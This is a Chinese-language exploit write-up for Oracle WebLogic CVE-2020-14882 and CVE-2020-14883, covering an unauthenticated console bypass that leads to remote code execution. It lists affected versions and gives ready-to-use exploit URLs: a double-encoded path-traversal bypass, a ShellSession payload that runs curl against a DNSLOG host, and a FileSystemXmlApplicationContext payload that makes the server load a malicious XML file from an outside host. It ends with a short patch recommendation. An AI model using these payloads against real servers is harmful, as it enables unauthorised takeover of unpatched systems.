Weblogic(CVE-2020-14882,CVE-2020-14883) 管理控制台未授权远程命令执行漏洞
Weblogic(CVE-2020-14882,CVE-2020-14883) 管理控制台未授权远程命令执行漏洞
0x01 漏洞简述
2020年10月29日,360CERT监测发现 Weblogic ConSole HTTP 协议代码执行漏洞,
该漏洞编号为 CVE-2020-14882,CVE-2020-14883
,漏洞等级:严重
,漏洞评分:9.8
。
远程攻击者可以构造特殊的HTTP
请求,在未经身份验证的情况下接管 WebLogic Server Console
,并在 WebLogic Server Console
执行任意代码。
0x02 影响版本
Oracle:Weblogic
:
- 10.3.6.0.0
- 12.1.3.0.0
- 12.2.1.3.0
- 12.2.1.4.0
- 14.1.1.0.0
0x03 漏洞详情
CVE-2020-14883: 权限绕过漏洞
远程攻击者可以构造特殊的HTTP
请求,在未经身份验证的情况下接管 WebLogic Server Console
。
权限绕过漏洞(CVE-2020-14882),访问以下URL,未授权访问到管理后台页面(低权限的用户):
1 | http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal |
发现我们现在是低权限的用户,无法安装应用,所以组合下面的CVE-2020-14882 可以继续利用
CVE-2020-14882: 代码执行漏洞
结合 CVE-2020-14883
漏洞,远程攻击者可以构造特殊的HTTP
请求,在未经身份验证的情况下接管 WebLogic Server Console
,并在 WebLogic Server Console
执行任意代码。
远程命令执行方法一
利用com.tangosol.coherence.mvel2.sh.ShellSession
执行命令:(利用DNSLOG)
1 | http://127.0.0.1:7001//console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20xzi7ua.dnslog.cn');") |
成功执行:
远程命令执行方法二(通用性高)
一种更为通杀的方法,对于所有Weblogic版本均有效。
但是必须可以出网,要可以访问到恶意的xml
首先需要构造一个XML文件,并将其保存外网(漏洞机或者可访问的一台机子上)上,如http://zeo.com/zeo.xml
:
1 |
|
然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
1 | http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml") |
成功执行:
收到相应包
0x05 修复建议
及时更新补丁
参考oracle官网发布的补丁:
https://www.oracle.com/security-alerts/cpuoct2020traditional.html